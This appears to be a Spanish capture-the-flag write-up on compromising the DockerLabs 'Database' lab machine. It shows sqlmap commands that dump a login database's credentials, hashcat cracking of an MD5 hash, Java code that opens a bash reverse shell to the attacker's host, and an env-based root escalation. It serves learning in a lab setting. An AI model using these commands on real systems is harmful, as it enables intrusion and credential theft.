Maquina Database

DockerLabs

Posted by Anton-Hacks on May 29, 2024

Información

  • Máquina: Database
  • Plataforma: DockerLabs
  • Creador: El Pingüino de Mario
  • SO: Linux
  • Dificultad: Medio

Configuración Entorno

Primeramente, como siempre para configurar las máquinas de DockerLabs, exportamos los ficheros auto_deploy.sh y en este caso pinguinazo.tar. Para ejecutarlo utilizamos el siguiente comando:

sudo bash auto_deploy.sh pinguinazo.tar

Image 1

auto_deploy.sh: este archivo se encarga de desplegar la máquina mediante docker y, una vez presionamos ctrl+c pasa a un proceso de borrado, todo automático, sin necesidad de tener conocimientos de docker.

database.tar: contiene todo el contenido de la máquina docker; es el corazón, donde está la máquina víctima.

Reconocimiento

Lo primero que realizamos es lanzar un ping contra la IP de la máquina para comprobar que tenemos conectividad.

ping -c 1 172.17.0.2

Image 2

Podemos observar que el ttl es de 64, por tanto, como norma general podemos afirmas que se trata de una maquina linux. Una vez comprobada la conectividad, iniciaremos un escaneo con nmap, para detectar puertos abiertos y lo almacenaremos en un fichero llamado scan, con el siguiente comando:

nmap -p- --open -sV -sC -sS --min-rate=5000 -vvv -n -Pn 172.17.0.2 -oN scan
  • -p- –> Búsqueda de puertos abiertos
  • –open –> Enumera los puertos abiertos
  • -sS –> Es un modo de escaneo rápido
  • -sC –> Que use un conjunto de scripts de reconocimiento
  • -sV –> Que encuentre la versión del servicio abierto
  • –min-rate=5000 –> Hace que el reconocimiento aun vaya más rápido mandando no menos de 5000 paquetes
  • -n –> No hace resolución DNS
  • -Pn –> No hace ping
  • -vvv –> Muestra en pantalla a medida que encuentra puertos (Verbose) Image 3

Vemos que tiene abiertos los puertos 22 (ssh), 80 (http) y los puertos 139 y 445 (SMB).

Explotación

Lo primero que hacemos es acceder vía web por el puerto 80. Image 4

Nos encontramos con un login. Utilizaremos gobuster para hacer fuzzing web y intentar encontrar directorios o archivos. Image 5

No encontramos nada relevante, por tanto, nos centraremos en el login que tenemos. Probamos a realizar sql injection para ver si el login es vulnerable a este tipo de ataques. Para ello utilizaremos la herramienta SQLMap.

Comenzamos con el siguiente comando para intentar descubrir las bases de datos:

sqlmap -u http://172.17.0.2/index.php --forms --dbs --batch 

Image 8

Vemos una tabla llamada register que podría contener credenciales o usuarios de nuestro interés. Trataremos de ver las tablas que contiene esa base de datos.

sqlmap -u http://172.17.0.2/index.php --forms -D register  --tables –batch

Image 9

Tenemos la tabla users, trataremos de ver la información que contiene esta tabla.

sqlmap -u http://172.17.0.2/index.php --forms -T users  --cols --batch  

Image 10

Tenemos una columna passwd y username. Para visualizar el contenido utilizamos el siguiente comando.

sqlmap -u http://172.17.0.2/index.php --forms -C username,passwd --dump  --batch 

Image 11

Encontramos el usuario dylan y su contraseña. Si tratamos de acceder, nos lo permite, pero al acceder no vemos nada destacable. También tratamos de acceder vía SSH por el puerto 22, y tampoco tenemos suerte!!!

Visto que por estas vías no logramos avanzar, trataremos de atacar a los puertos abiertos de SMB, para ello utilizaremos la herramienta SMBMAP. Image 12

Encontramos una carpeta compartida llamada shared, trataremos de conectarnos con el usuario encontrado anteriormente. Image 13

Nos descargamos el archivo que hemos encontrado y realizamos un cat para visualizarlo, nos encontramos con un codigo en MD5, por lo tanto para poder descifrarlo utilizaremos hascat.

hashcat -m 0 -a 0 061fba5bdfc076bb7362616668de87c8 /usr/share/wordlists/rockyou.txt

Image 14

Con el usuario august y la contraseña que hemos encontrado sí que logramos estableces una conexión vía SSH. Image 15

Una vez dentro de la máquina, trataremos de lograr escalar privilegios. Image 16

Si hacemos un sudo -l vemos que podemos ejecutar el binario java como dylan y así poder escalar a su usuario. Vamos a crear un script en java para que nos mande una reverse shell con el usuario dylan.

public class Shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.17.0.1/4444 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}

En nuestra maquina atacante, nos ponemos en escucha por el puerto 4444 con NetCat. Image 18

Recibimos la shell con el usuario dylan, no nos deja ejecutar sudo -l, por lo tanto buscamos los binarios. Image 19

Consultamos https://gtfobins.github.io/ para encontrar una manera de elevar privilegios con env. Luego, ejecutamos el siguiente comando:

env /bin/bash -p

Image 20

¡¡¡¡Así que, hemos conseguido ser root!!!!

Eliminación del entorno

Para borrar la máquina solo debemos ir a la consola donde lo desplegamos y presionar ctrl+c y eliminaría y borraría todo rastro de la máquina víctima en nuestro sistema LINUX.

Image 21

¡¡¡Espero que os haya gustado y nos vemos en la próxima!!!



Meow?